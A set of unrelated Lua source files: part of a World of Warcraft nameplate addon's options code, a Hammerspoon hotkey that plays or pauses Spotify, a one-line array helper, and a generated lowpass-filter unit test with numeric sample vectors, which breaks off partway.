},
Icon = {
name = L["Preview"],
type = "execute",
width = "full",
disabled = function() return not db.uniqueSettings[k_c].showIcon or not db.uniqueWidget.ON end,
order = 2,
image = function()
local spell_id = db.uniqueSettings[k_c].SpellID
if spell_id then
local _, _, icon = GetSpellInfo(spell_id)
return icon
else
return db.uniqueSettings[k_c].icon
end
end,
imageWidth = 64,
imageHeight = 64,
},
Description = {
type = "description",
order = 3,
name = L["Type direct icon texture path using '\\' to separate directory folders, or use a spellid."],
width = "full",
},
SetIcon = {
name = L["Set Icon"],
type = "input",
order = 4,
disabled = function() return not db.uniqueSettings[k_c].showIcon or not db.uniqueWidget.ON end,
width = "full",
set = function(info, val)
local spell_id = tonumber(val)
if spell_id then -- no string, so val should be a spell ID
local _, _, icon = GetSpellInfo(spell_id)
if icon then
db.uniqueSettings[k_c].SpellID = spell_id
val = select(3, GetSpellInfo(spell_id))
else
t.Print("Invalid spell ID for custom nameplate icon: " .. val, true)
db.uniqueSettings[k_c].SpellID = nil
end
else
db.uniqueSettings[k_c].SpellID = nil
end
-- Either store the path to the icon or the icon ID
SetValue(info, val)
if val then
options.args.Custom.args["#" .. k_c].args.Icon.args.Icon.image = val
else
options.args.Custom.args["#" .. k_c].args.Icon.args.Icon.image = "Interface\\Icons\\Temp"
end
UpdateSpecial()
end,
get = function(info)
local spell_id = db.uniqueSettings[k_c].SpellID
if spell_id then
return tostring(spell_id)
else
return GetValue(info)
end
end,
arg = { "uniqueSettings", k_c, "icon" },
},
},
},
},
}
CustomOpts_OrderCnt = CustomOpts_OrderCnt + 10;
end
options.args.Custom.args = CustomOpts
UpdateSpecial()
options.args.profiles = LibStub("AceDBOptions-3.0"):GetOptionsTable(TidyPlatesThreat.db)
options.args.profiles.order = 10000;
end
local function GetInterfaceOptionsTable()
local interface_options = {
name = t.Meta("title") .. " v" .. t.Meta("version"),
handler = TidyPlatesThreat,
type = "group",
args = {
note = {
type = "description",
name = L["You can access the "] .. t.Meta("titleshort") .. L[" options by typing: /tptp"],
order = 10,
},
openoptions = {
type = "execute",
name = L["Open Options"],
image = PATH_ART .. "Logo",
width = "full",
imageWidth = 256,
imageHeight = 32,
func = function()
TidyPlatesThreat:OpenOptions()
end,
order = 20,
},
},
}
return interface_options
end
function TidyPlatesThreat:ProfChange()
db = self.db.profile
Addon:InitializeCustomNameplates()
-- Update preview icons: EliteArtWidget, TargetHighlightWidget, ClassIconWidget, QuestWidget, Threat Textures, Totem Icons, Custom Nameplate Icons
local path = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\"
-- Update options stuff after profile change
if options then
options.args.NameplateSettings.args.EliteIcon.args.Texture.args.PreviewRare.image = path .. "EliteArtWidget\\" .. db.settings.eliteicon.theme
options.args.NameplateSettings.args.EliteIcon.args.Texture.args.PreviewElite.image = path .. "EliteArtWidget\\" .. "elite-" .. db.settings.eliteicon.theme
local base = options.args.Widgets.args
base.TargetArtWidget.args.Texture.args.Preview.image = path .. "TargetArtWidget\\" .. db.targetWidget.theme;
for k_c, v_c in pairs(CLASS_SORT_ORDER) do
base.ClassIconWidget.args.Textures.args["Prev" .. k_c].image = path .. "ClassIconWidget\\" .. db.classWidget.theme .. "\\" .. CLASS_SORT_ORDER[k_c]
end
base.QuestWidget.args.ModeIcon.args.Texture.args.Preview.image = path .. "QuestWidget\\" .. db.questWidget.IconTexture
local threat_path = path .. "ThreatWidget\\" .. db.threat.art.theme .. "\\"
base = options.args.ThreatOptions.args.Textures.args.Options.args
base.PrevOffTank.image = threat_path .. "OFFTANK"
base.PrevLow.image = threat_path .. "HIGH"
base.PrevMed.image = threat_path .. "MEDIUM"
base.PrevHigh.image = threat_path .. "LOW"
for _, totem_info in pairs(Addon.TotemInformation) do
options.args.Totems.args[totem_info.Name].args.Textures.args.Icon.image = "Interface\\Addons\\TidyPlates_ThreatPlates\\Widgets\\TotemIconWidget\\" .. db.totemSettings[totem_info.ID].Style .. "\\" .. totem_info.ID
end
for k_c, v_c in ipairs(db.uniqueSettings) do
options.args.Custom.args["#" .. k_c].args.Icon.args.Icon.image = function()
if tonumber(db.uniqueSettings[k_c].icon) == nil then
return db.uniqueSettings[k_c].icon
else
local icon = select(3, GetSpellInfo(tonumber(db.uniqueSettings[k_c].icon)))
if icon then
return icon
else
return "Interface\\Icons\\Temp"
end
end
end
end
end
TidyPlatesThreat:ReloadTheme()
end
function TidyPlatesThreat:OpenOptions()
db = self.db.profile
HideUIPanel(InterfaceOptionsFrame)
HideUIPanel(GameMenuFrame)
if not options then
CreateOptionsTable()
Addon:ForceUpdate()
-- Setup options dialog
LibStub("AceConfigRegistry-3.0"):RegisterOptionsTable(t.ADDON_NAME, options)
LibStub("AceConfigDialog-3.0"):SetDefaultSize(t.ADDON_NAME, 1000, 640)
end
LibStub("AceConfigDialog-3.0"):Open(t.ADDON_NAME);
end
-----------------------------------------------------
-- External
-----------------------------------------------------
t.GetInterfaceOptionsTable = GetInterfaceOptionsTable
|
function launchSpotify()
hs.application.open("Spotify", nil, true)
end
function playOrPauseSpotify()
if not hs.spotify.isRunning() then
launchSpotify()
end
if hs.spotify.getPlaybackState() == hs.spotify.state_playing then
hs.spotify.pause()
else
hs.spotify.play()
end
end
hs.hotkey.bind({}, "F8", playOrPauseSpotify)
|
function __TS__ArrayShift(arr)
return table.remove(arr, 1)
end
|
-- Do not edit! This file was generated by blocks/signal/lowpassfilter_spec.py
local radio = require('radio')
local jigs = require('tests.jigs')
jigs.TestBlock(radio.LowpassFilterBlock, {
{
desc = "128 taps, 0.2 cutoff, 256 ComplexFloat32 input, 256 ComplexFloat32 output",
args = {128, 0.2},
inputs = {radio.types.ComplexFloat32.vector_from_array({{-0.73127151, 0.69486749}, {0.52754927, -0.48986191}, {-0.00912983, -0.10101787}, {0.30318594, 0.57744670}, {-0.81228077, -0.94330502}, {0.67153019, -0.13446586}, {0.52456015, -0.99578792}, {-0.10922561, 0.44308007}, {-0.54247558, 0.89054137}, {0.80285490, -0.93882000}, {-0.94910830, 0.08282494}, {0.87829834, -0.23759152}, {-0.56680119, -0.15576684}, {-0.94191837, -0.55661666}, {-0.12422481, -0.00837552}, {-0.53383112, -0.53826690}, {-0.56243795, -0.08079307}, {-0.42043677, -0.95702058}, {0.67515594, 0.11290865}, {0.28458872, -0.62818748}, {0.98508680, 0.71989304}, {-0.75822008, -0.33460963}, {0.44296879, 0.42238355}, {0.87288117, -0.15578599}, {0.66007137, 0.34061113}, {-0.39326301, 0.17516121}, {0.76495802, 0.69239485}, {0.01056764, 0.17800452}, {-0.93094832, -0.51452005}, {0.59480852, -0.17137200}, {-0.65398520, 0.09759752}, {0.40608153, 0.34897169}, {-0.25059396, -0.12207674}, {0.01685298, 0.55688524}, {0.04187684, -0.21348982}, {-0.02061296, -0.94085008}, {-0.91302544, 0.40676415}, {0.96637541, 0.18636747}, {-0.21280062, -0.65930158}, {0.00447712, 0.96415329}, {0.54104626, 0.07923490}, {0.72057962, -0.53564775}, {0.02754333, 0.90493482}, {0.15558961, -0.08173654}, {-0.46144104, 0.09599262}, {0.91423255, -0.98858166}, {0.56731045, 0.64097184}, {0.77235913, 0.48100683}, {0.61827981, 0.03735657}, {0.12271573, -0.14781864}, {-0.88775343, 0.74002033}, {0.13999867, -0.60032117}, {0.00944094, -0.03014978}, {-0.28642008, -0.30784416}, {0.07695759, 0.24697889}, {0.22490492, -0.08370640}, {-0.94405001, -0.54078996}, {-0.64557749, 0.16892174}, {0.72201771, 0.59687787}, {0.59419513, 0.63287473}, {-0.48941192, 0.68348968}, {0.34622705, -0.83353174}, {-0.96661872, -0.97087997}, {0.51117355, -0.50088155}, {-0.78102273, 0.24960417}, {-0.31115428, -0.86096931}, {-0.68074894, 0.05476080}, {-0.66371012, -0.45417112}, {0.42317989, -0.09059674}, {-0.35599643, -0.05245798}, {-0.95273077, -0.22688580}, {-0.15816264, -0.62392139}, {-0.78247666, 0.79963702}, {0.02023196, -0.58181804}, {0.21129727, 0.63407934}, {-0.95836377, -0.96427095}, {-0.70707649, 0.43767095}, {-0.67954481, 0.40921125}, {0.35635161, 0.08940433}, {-0.55880052, 0.95118904}, {0.59562171, 0.03319904}, {-0.55360842, 0.29701284}, {-0.21020398, 0.15169193}, {-0.35750839, 0.26189572}, {-0.88242978, -0.40278813}, {0.93580663, 0.75106847}, {-0.38722676, 0.71702880}, {-0.37927276, 0.87857687}, {0.48768425, -0.16765547}, {-0.49528381, -0.98303950}, {0.75743574, -0.92416686}, {0.63882822, 0.92440224}, {0.14056113, -0.65696579}, {0.73556215, 0.94755048}, {0.40804628, 0.01774749}, {-0.24406233, -0.30613822}, {-0.58847648, 0.34830603}, {-0.13409975, -0.61176270}, {-0.79115158, 0.33191505}, {-0.40785465, -0.00040016}, {-0.34930867, 0.74324304}, {0.79935658, -0.96381402}, {-0.59829396, -0.34451860}, {0.97409946, 0.56540078}, {-0.32180870, -0.57394040}, {0.34891015, 0.67540216}, {0.86437494, -0.31230038}, {0.76478642, 0.37422037}, {-0.03100256, 0.97101647}, {-0.53071910, 0.45093039}, {-0.83063954, -0.66061169}, {0.82197559, -0.57406360}, {0.51823235, 0.20041765}, {0.68226439, -0.26378399}, {-0.31942952, -0.41756943}, {0.73483962, 0.20796506}, {0.90861493, 0.77453023}, {-0.72930807, 0.10234095}, {-0.79145002, -0.92172438}, {-0.85361314, 0.73233670}, {0.57623291, 0.65701193}, {-0.31820506, 0.23037209}, {0.56380719, -0.24392074}, {0.14156306, -0.55257183}, {-0.83651346, -0.46655273}, {0.78153634, 0.12889367}, {0.85013437, -0.08446148}, {-0.44563445, 0.57402933}, {0.65553629, -0.97523654}, {0.34082329, -0.81663376}, {-0.76979506, 0.77012014}, {-0.91995299, -0.52073330}, {0.97631699, -0.15797283}, {-0.76888371, -0.66523314}, {-0.51715940, 0.48801285}, {-0.79433179, 0.82152885}, {-0.24344546, 0.94052809}, {0.81844544, -0.41195285}, {-0.49317971, -0.04597981}, {-0.79974169, 0.30410039}, {-0.92075950, -0.97898769}, {0.96516722, -0.40890029}, {0.19314128, -0.10031093}, {-0.37343827, -0.87407041}, {0.82678401, 0.93962657}, {0.93959302, -0.77727538}, {-0.56961346, 0.23561376}, {0.95990574, 0.08582640}, {0.37637961, 0.32366887}, {-0.48182800, 0.08320452}, {-0.38535777, -0.50723761}, {-0.83726245, -0.43842655}, {0.96675342, -0.10419552}, {0.30402106, 0.28693217}, {0.88146901, -0.21904290}, {-0.38643140, -0.34551716}, {-0.36652973, 0.69426954}, {0.78700048, -0.39438137}, {-0.33133319, 0.08845083}, {0.15797088, 0.19192508}, {-0.50980401, -0.95925194}, {-0.51248139, -0.85534495}, {0.10240951, -0.85816729}, {-0.84974039, 0.27076420}, {-0.41835687, 0.58436954}, {-0.01347791, 0.72529793}, {-0.69164079, 0.00285917}, {0.58996701, -0.84578598}, {0.89845592, -0.65351576}, {0.55241799, 0.96979177}, {0.64310026, -0.36043200}, {-0.78624445, 0.02871650}, {0.83871394, -0.41302100}, {0.78751761, -0.71663874}, {0.82096338, -0.93648010}, {-0.36786264, 0.80617654}, {0.60771257, 0.81430751}, {0.68143702, 0.49236977}, {0.37919036, -0.64369029}, {-0.13472399, -0.68420619}, {0.42964891, 0.33555749}, {-0.49482721, -0.87117159}, {0.92677176, 0.61650527}, {0.09853987, 0.08275530}, {0.70258534, -0.09338064}, {-0.20857909, -0.32266170}, {-0.48406181, -0.95118302}, {0.29287767, -0.16663224}, {0.14120726, -0.87535673}, {-0.29011312, -0.72343177}, {-0.74974197, -0.48177409}, {0.65786874, -0.20440537}, {-0.19783570, 0.22488984}, {-0.53294069, -0.98504567}, {0.05740348, 0.00179924}, {0.29767919, -0.12336609}, {0.37302625, 0.46284387}, {-0.52325064, -0.00985550}, {-0.04234622, -0.54987586}, {-0.17550774, 0.12081487}, {0.81387901, 0.83541310}, {-0.44954929, 0.29283035}, {-0.90360534, -0.85689718}, {0.02338342, 0.75484818}, {-0.68106455, 0.53205574}, {0.76601923, -0.37639597}, {0.38511392, 0.69798225}, {-0.25677133, 0.40256533}, {0.47283623, 0.18915559}, {0.71255422, 0.79320872}, {0.92015761, 0.14246538}, {-0.64744818, -0.49880919}, {-0.56476265, 0.13903470}, {0.51550025, -0.89573354}, {0.36327291, 0.43430653}, {-0.30403697, 0.03011161}, {-0.67040372, 0.45979229}, {-0.91858262, 0.96244210}, {0.61588746, 0.25689700}, {-0.46494752, 0.82572573}, {0.91887766, -0.72174770}, {0.55151451, 0.68386173}, {0.31943470, 0.40081555}, {-0.10988253, 0.84861559}, {0.94241506, -0.23529337}, {0.60542303, -0.13415682}, {-0.67049158, -0.34906545}, {-0.74733984, 0.81776953}, {0.91884816, -0.76162654}, {0.20135815, -0.18355180}, {-0.76381993, -0.40904897}, {-0.50356728, 0.49915361}, {-0.99198210, -0.62032259}, {-0.12245386, -0.95793062}, {0.25505316, 0.21125507}, {0.67066473, -0.58678836}, {-0.43043676, 0.08467886}, {-0.45354861, 0.17147619}, {-0.49823555, 0.36705431}, {0.58218145, 0.61730921}, {0.94723225, 0.09075401}, {-0.01838144, 0.71139538}, {0.53813475, 0.14108926}, {-0.23348723, -0.43190512}, {-0.78372163, 0.61509818}, {-0.76385695, 0.49453047}, {0.09057418, 0.92989063}, {0.52213132, 0.94703954}, {-0.72681195, 0.00074295}, {0.14515658, -0.37749708}, {0.00606498, -0.28636247}, {0.05678794, -0.99831057}, {-0.11537134, -0.10089571}, {-0.39040163, -0.20119449}, {0.56617463, 0.36682576}, {-0.01540173, 0.29533648}})},
outputs = {radio.types.ComplexFloat32.vector_from_array({{-0.00023701, 0.00022521}, {-0.00012876, 0.00012605}, {-0.00003832, 0.00000554}, {0.00017501, 0.00007320}, {0.00003821, -0.00027358}, {0.00021253, -0.00046078}, {0.00039584, -0.00079003}, {0.00032288, -0.00055254}, {-0.00005640, 0.00016208}, {-0.00012612, 0.00047162}, {-0.00058799, 0.00081370}, {-0.00044871, 0.00079600}, {-0.00041631, 0.00042767}, {-0.00041376, -0.00035860}, {-0.00011461, -0.00107882}, {0.00013586, -0.00168036}, {0.00026203, -0.00164509}, {0.00022746, -0.00120906}, {0.00034237, 0.00002044}, {0.00028126, 0.00125953}, {0.00033766, 0.00252661}, {-0.00014690, 0.00271391}, {-0.00037905, 0.00194511}, {-0.00026401, 0.00006551}, {0.00005907, -0.00206803}, {0.00018282, -0.00371444}, {0.00058323, -0.00388106}, {0.00073618, -0.00247039}, {0.00036464, 0.00006533}, {0.00018453, 0.00307636}, {-0.00036439, 0.00539687}, {-0.00061775, 0.00595023}, {-0.00083967, 0.00400075}, {-0.00077344, 0.00024541}, {-0.00043756, -0.00438564}, {0.00006402, -0.00820586}, {0.00030328, -0.00893902}, {0.00092444, -0.00608506}, {0.00108020, -0.00052476}, {0.00089430, 0.00651234}, {0.00053330, 0.01180959}, {0.00008084, 0.01285764}, {-0.00055890, 0.00915164}, {-0.00100945, 0.00095204}, {-0.00127804, -0.00885021}, {-0.00069304, -0.01684842}, {0.00029071, -0.01877678}, {0.00141755, -0.01319268}, {0.00213282, -0.00130948}, {0.00191643, 0.01303564}, {0.00046880, 0.02467461}, {-0.00124476, 0.02775581}, {-0.00260303, 0.01985212}, {-0.00282133, 0.00197031}, {-0.00119216, -0.02024998}, {0.00203678, -0.03871294}, {0.00516054, -0.04499273}, {0.00631715, -0.03315052}, {0.00347450, -0.00309307}, {-0.00556327, 0.03854454}, {-0.02147542, 0.07975526}, {-0.04156798, 0.10584477}, {-0.06142213, 0.10517690}, {-0.07337872, 0.07264388}, {-0.07095804, 0.01201436}, {-0.04885917, -0.06505899}, {-0.00683413, -0.14045455}, {0.04957635, -0.19650149}, {0.10910573, -0.22032885}, {0.15548125, -0.20886377}, {0.17216615, -0.17004035}, {0.14698856, -0.12073787}, {0.07510398, -0.08108517}, {-0.03702411, -0.06998043}, {-0.17267363, -0.09667892}, {-0.30756611, -0.16002578}, {-0.41379127, -0.24579339}, {-0.46702382, -0.33273661}, {-0.45175323, -0.39759991}, {-0.36638239, -0.42119923}, {-0.22221974, -0.39466175}, {-0.04312712, -0.32004118}, {0.14153142, -0.21007966}, {0.30205736, -0.08391383}, {0.41476965, 0.03761330}, {0.46717742, 0.13777778}, {0.45720381, 0.20563057}, {0.39440316, 0.23779351}, {0.29590014, 0.23675703}, {0.18112780, 0.20943297}, {0.06947528, 0.16482686}, {-0.02467081, 0.11237641}, {-0.09261792, 0.05898182}, {-0.13099547, 0.01184971}, {-0.14167067, -0.02445214}, {-0.12971707, -0.04628503}, {-0.10166764, -0.05175037}, {-0.06410706, -0.04230321}, {-0.02338153, -0.02136394}, {0.01627334, 0.00467731}, {0.05259132, 0.02926870}, {0.08625971, 0.04628681}, {0.11926773, 0.05417193}, {0.15649812, 0.05532766}, {0.20127489, 0.05471420}, {0.25581050, 0.05942521}, {0.31784484, 0.07334588}, {0.37970746, 0.09655956}, {0.42895284, 0.12322175}, {0.45117432, 0.14280425}, {0.43369785, 0.14400914}, {0.37044924, 0.11988721}, {0.26364377, 0.07114209}, {0.12640332, 0.00689372}, {-0.01981656, -0.05628397}, {-0.14843777, -0.09916726}, {-0.23571964, -0.10661356}, {-0.26717341, -0.07359910}, {-0.24074902, -0.00768080}, {-0.16902976, 0.07295875}, {-0.07573250, 0.14239810}, {0.00893623, 0.17555210}, {0.05824719, 0.15582944}, {0.05471761, 0.08053103}, {-0.00451957, -0.03789376}, {-0.10623294, -0.17522061}, {-0.22699051, -0.30276582}, {-0.33961582, -0.39465845}, {-0.41986069, -0.43593314}, {-0.45559436, -0.42346457}, {-0.44774753, -0.36727756}, {-0.41022381, -0.28631550}, {-0.36341903, -0.20010211}, {-0.33032882, -0.12579128}, {-0.32438299, -0.07092110}, {-0.34804049, -0.03580002}, {-0.39110276, -0.01310530}, {-0.43468827, 0.00690623}, {-0.45783529, 0.03273168}, {-0.44616455, 0.07027513}, {-0.39518011, 0.11976909}, {-0.31466755, 0.17853348}, {-0.22636178, 0.24063161}, {-0.15497273, 0.29908654}, {-0.12029415, 0.34725106}, {-0.13007617, 0.37764221}, {-0.17588800, 0.38418666}, {-0.23218203, 0.36249641}, {-0.26698232, 0.31050408}, {-0.24969606, 0.23168628}, {-0.16378286, 0.13430576}, {-0.01271889, 0.03346434}, {0.17808512, -0.05298029}, {0.36459786, -0.10768525}, {0.49716821, -0.12008546}, {0.53508323, -0.08933599}, {0.45944443, -0.02653712}, {0.28040811, 0.04633933}, {0.03687308, 0.10468549}, {-0.21349289, 0.12747110}, {-0.40877408, 0.10456327}, {-0.50066954, 0.04138003}, {-0.46739209, -0.04175255}, {-0.32096601, -0.11607457}, {-0.10217143, -0.15426174}, {0.13005604, -0.13825747}, {0.31776541, -0.06761852}, {0.41945595, 0.03968130}, {0.42175308, 0.15430261}, {0.34206268, 0.24268200}, {0.22148587, 0.27700600}, {0.10913213, 0.24744284}, {0.04795743, 0.16198601}, {0.05769595, 0.04590646}, {0.13135466, -0.06783800}, {0.23619615, -0.14650336}, {0.32765293, -0.17052345}, {0.36334762, -0.13731401}, {0.31861582, -0.06095250}, {0.19509405, 0.03492482}, {0.02251190, 0.12338167}, {-0.15265231, 0.18285254}, {-0.28010103, 0.20314716}, {-0.32327458, 0.18458754}, {-0.26919758, 0.13564892}, {-0.13447075, 0.06761359}, {0.04223950, -0.00930579}, {0.21239418, -0.08793824}, {0.33059815, -0.16476853}, {0.36772472, -0.23550279}, {0.31936848, -0.29366076}, {0.20335197, -0.32829833}, {0.05257396, -0.32629463}, {-0.09760911, -0.27775496}, {-0.21871930, -0.18149605}, {-0.29767653, -0.04896929}, {-0.33695999, 0.09523216}, {-0.34924099, 0.21839222}, {-0.34950444, 0.28869087}, {-0.34749043, 0.28555161}, {-0.34148487, 0.20634305}, {-0.32185602, 0.06962315}, {-0.27368072, -0.09116631}, {-0.18564107, -0.23381574}, {-0.05907305, -0.32447246}, {0.09176687, -0.34439921}, {0.23932861, -0.29602754}, {0.35211334, -0.20237021}, {0.40356052, -0.09673163}, {0.38240933, -0.01235967}, {0.29606569, 0.02889623}, {0.17044695, 0.02295302}, {0.04348818, -0.01635293}, {-0.04718996, -0.06598621}, {-0.07504753, -0.10083526}, {-0.03494450, -0.10683271}, {0.05666518, -0.08439302}, {0.16657697, -0.04894473}, {0.25406045, -0.02408952}, {0.28342450, -0.03038168}, {0.23583126, -0.07661173}, {0.11323021, -0.15552820}, {-0.06011044, -0.24464466}, {-0.24547648, -0.31471774}, {-0.39967820, -0.34039992}, {-0.48754209, -0.30827463}, {-0.48965368, -0.22455432}, {-0.40643519, -0.11149977}, {-0.25563577, -0.00323357}, {-0.06835473, 0.06886861}, {0.12188426, 0.08330159}, {0.28564870, 0.03825405}, {0.40516758, -0.04974082}, {0.47455725, -0.15165503}, {0.49919549, -0.23384857}, {0.49131489, -0.27216151}, {0.46433958, -0.25606883}, {0.42992213, -0.19250980}, {0.39550877, -0.10228377}, {0.36453882, -0.01253689}, {0.33803618, 0.05252063}, {0.31460389, 0.07927892}, {0.29388261, 0.06532821}, {0.27449650, 0.01882499}, {0.25605273, -0.04593311}, {0.23722279, -0.11597601}, {0.21441261, -0.18368848}, {0.18315256, -0.24859031}, {0.13864729, -0.31339639}, {0.08046170, -0.38082728}, {0.01074677, -0.44919130}, {-0.06235451, -0.51062047}, {-0.12722701, -0.55117714}, {-0.17153999, -0.55633879}, {-0.18389471, -0.51566106}, {-0.16036384, -0.42917210}})}
},
{
desc = "128 taps, 0.5 cutoff, 256 ComplexFloat32 input, 256 ComplexFloat32 output",
args = {128, 0.5},
inputs = {radio.types.ComplexFloat32.vector_from_array({{-0.73127151, 0.69486749}, {0.52754927, -0.48986191}, {-0.00912983, -0.10101787}, {0.30318594, 0.57744670}, {-0.81228077, -0.94330502}, {0.67153019, -0.13446586}, {0.52456015, -0.99578792}, {-0.10922561, 0.44308007}, {-0.54247558, 0.89054137}, {0.80285490, -0.93882000}, {-0.94910830, 0.08282494}, {0.87829834, -0.23759152}, {-0.56680119, -0.15576684}, {-0.94191837, -0.55661666}, {-0.12422481, -0.00837552}, {-0.53383112, -0.53826690}, {-0.56243795, -0.08079307}, {-0.42043677, -0.95702058}, {0.67515594, 0.11290865}, {0.28458872, -0.62818748}, {0.98508680, 0.71989304}, {-0.75822008, -0.33460963}, {0.44296879, 0.42238355}, {0.87288117, -0.15578599}, {0.66007137, 0.34061113}, {-0.39326301, 0.17516121}, {0.76495802, 0.69239485}, {0.01056764, 0.17800452}, {-0.93094832, -0.51452005}, {0.59480852, -0.17137200}, {-0.65398520, 0.09759752}, {0.40608153, 0.34897169}, {-0.25059396, -0.12207674}, {0.01685298, 0.55688524}, {0.04187684, -0.21348982}, {-0.02061296, -0.94085008}, {-0.91302544, 0.40676415}, {0.96637541, 0.18636747}, {-0.21280062, -0.65930158}, {0.00447712, 0.96415329}, {0.54104626, 0.07923490}, {0.72057962, -0.53564775}, {0.02754333, 0.90493482}, {0.15558961, -0.08173654}, {-0.46144104, 0.09599262}, {0.91423255, -0.98858166}, {0.56731045, 0.64097184}, {0.77235913, 0.48100683}, {0.61827981, 0.03735657}, {0.12271573, -0.14781864}, {-0.88775343, 0.74002033}, {0.13999867, -0.60032117}, {0.00944094, -0.03014978}, {-0.28642008, -0.30784416}, {0.07695759, 0.24697889}, {0.22490492, -0.08370640}, {-0.94405001, -0.54078996}, {-0.64557749, 0.16892174}, {0.72201771, 0.59687787}, {0.59419513, 0.63287473}, {-0.48941192, 0.68348968}, {0.34622705, -0.83353174}, {-0.96661872, -0.97087997}, {0.51117355, -0.50088155}, {-0.78102273, 0.24960417}, {-0.31115428, -0.86096931}, {-0.68074894, 0.05476080}, {-0.66371012, -0.45417112}, {0.42317989, -0.09059674}, {-0.35599643, -0.05245798}, {-0.95273077, -0.22688580}, {-0.15816264, -0.62392139}, {-0.78247666, 0.79963702}, {0.02023196, -0.58181804}, {0.21129727, 0.63407934}, {-0.95836377, -0.96427095}, {-0.70707649, 0.43767095}, {-0.67954481, 0.40921125}, {0.35635161, 0.08940433}, {-0.55880052, 0.95118904}, {0.59562171, 0.03319904}, {-0.55360842, 0.29701284}, {-0.21020398, 0.15169193}, {-0.35750839, 0.26189572}, {-0.88242978, -0.40278813}, {0.93580663, 0.75106847}, {-0.38722676, 0.71702880}, {-0.37927276, 0.87857687}, {0.48768425, -0.16765547}, {-0.49528381, -0.98303950}, {0.75743574, -0.92416686}, {0.63882822, 0.92440224}, {0.14056113, -0.65696579}, {0.73556215, 0.94755048}, {0.40804628, 0.01774749}, {-0.24406233, -0.30613822}, {-0.58847648, 0.34830603}, {-0.13409975, -0.61176270}, {-0.79115158, 0.33191505}, {-0.40785465, -0.00040016}, {-0.34930867, 0.74324304}, {0.79935658, -0.96381402}, {-0.59829396, -0.34451860}, {0.97409946, 0.56540078}, {-0.32180870, -0.57394040}, {0.34891015, 0.67540216}, {0.86437494, -0.31230038}, {0.76478642, 0.37422037}, {-0.03100256, 0.97101647}, {-0.53071910, 0.45093039}, {-0.83063954, -0.66061169}, {0.82197559, -0.57406360}, {0.51823235, 0.20041765}, {0.68226439, -0.26378399}, {-0.31942952, -0.41756943}, {0.73483962, 0.20796506}, {0.90861493, 0.77453023}, {-0.72930807, 0.10234095}, {-0.79145002, -0.92172438}, {-0.85361314, 0.73233670}, {0.57623291, 0.65701193}, {-0.31820506, 0.23037209}, {0.56380719, -0.24392074}, {0.14156306, -0.55257183}, {-0.83651346, -0.46655273}, {0.78153634, 0.12889367}, {0.85013437, -0.08446148}, {-0.44563445, 0.57402933}, {0.65553629, -0.97523654}, {0.34082329, -0.81663376}, {-0.76979506, 0.77012014}, {-0.91995299, -0.52073330}, {0.97631699, -0.15797283}, {-0.76888371, -0.66523314}, {-0.51715940, 0.48801285}, {-0.79433179, 0.82152885}, {-0.24344546, 0.94052809}, {0.81844544, -0.41195285}, {-0.49317971, -0.04597981}, {-0.79974169, 0.30410039}, {-0.92075950, -0.97898769}, {0.96516722, -0.40890029}, {0.19314128, -0.10031093}, {-0.37343827, -0.87407041}, {0.82678401, 0.93962657}, {0.93959302, -0.77727538}, {-0.56961346, 0.23561376}, {0.95990574, 0.08582640}, {0.37637961, 0.32366887}, {-0.48182800, 0.08320452}, {-0.38535777, -0.50723761}, {-0.83726245, -0.43842655}, {0.96675342, -0.10419552}, {0.30402106, 0.28693217}, {0.88146901, -0.21904290}, {-0.38643140, -0.34551716}, {-0.36652973, 0.69426954}, {0.78700048, -0.39438137}, {-0.33133319, 0.08845083}, {0.15797088, 0.19192508}, {-0.50980401, -0.95925194}, {-0.51248139, -0.85534495}, {0.10240951, -0.85816729}, {-0.84974039, 0.27076420}, {-0.41835687, 0.58436954}, {-0.01347791, 0.72529793}, {-0.69164079, 0.00285917}, {0.58996701, -0.84578598}, {0.89845592, -0.65351576}, {0.55241799, 0.96979177}, {0.64310026, -0.36043200}, {-0.78624445, 0.02871650}, {0.83871394, -0.41302100}, {0.78751761, -0.71663874}, {0.82096338, -0.93648010}, {-0.36786264, 0.80617654}, {0.60771257, 0.81430751}, {0.68143702, 0.49236977}, {0.37919036, -0.64369029}, {-0.13472399, -0.68420619}, {0.42964891, 0.33555749}, {-0.49482721, -0.87117159}, {0.92677176, 0.61650527}, {0.09853987, 0.08275530}, {0.70258534, -0.09338064}, {-0.20857909, -0.32266170}, {-0.48406181, -0.95118302}, {0.29287767, -0.16663224}, {0.14120726, -0.87535673}, {-0.29011312, -0.72343177}, {-0.74974197, -0.48177409}, {0.65786874, -0.20440537}, {-0.19783570, 0.22488984}, {-0.53294069, -0.98504567}, {0.05740348, 0.00179924}, {0.29767919, -0.12336609}, {0.37302625, 0.46284387}, {-0.52325064, -0.00985550}, {-0.04234622, -0.54987586}, {-0.17550774, 0.12081487}, {0.81387901, 0.83541310}, {-0.44954929, 0.29283035}, {-0.90360534, -0.85689718}, {0.02338342, 0.75484818}, {-0.68106455, 0.53205574}, {0.76601923, -0.37639597}, {0.38511392, 0.69798225}, {-0.25677133, 0.40256533}, {0.47283623, 0.18915559}, {0.71255422, 0.79320872}, {0.92015761, 0.14246538}, {-0.64744818, -0.49880919}, {-0.56476265, 0.13903470}, {0.51550025, -0.89573354}, {0.36327291, 0.43430653}, {-0.30403697, 0.03011161}, {-0.67040372, 0.45979229}, {-0.91858262, 0.96244210}, {0.61588746, 0.25689700}, {-0.46494752, 0.82572573}, {0.91887766, -0.72174770}, {0.55151451, 0.68386173}, {0.31943470, 0.40081555}, {-0.10988253, 0.84861559}, {0.94241506, -0.23529337}, {0.60542303, -0.13415682}, {-0.67049158, -0.34906545}, {-0.74733984, 0.81776953}, {0.91884816, -0.76162654}, {0.20135815, -0.18355180}, {-0.76381993, -0.40904897}, {-0.50356728, 0.49915361}, {-0.99198210, -0.62032259}, {-0.12245386, -0.95793062}, {0.25505316, 0.21125507}, {0.67066473, -0.58678836}, {-0.43043676, 0.08467886}, {-0.45354861, 0.17147619}, {-0.49823555, 0.36705431}, {0.58218145, 0.61730921}, {0.94723225, 0.09075401}, {-0.01838144, 0.71139538}, {0.53813475, 0.14108926}, {-0.23348723, -0.43190512}, {-0.78372163, 0.61509818}, {-0.76385695, 0.49453047}, {0.09057418, 0.92989063}, {0.52213132, 0.94703954}, {-0.72681195, 0.00074295}, {0.14515658, -0.37749708}, {0.00606498, -0.28636247}, {0.05678794, -0.99831057}, {-0.11537134, -0.10089571}, {-0.39040163, -0.20119449}, {0.56617463, 0.36682576}, {-0.01540173, 0.29533648}})},
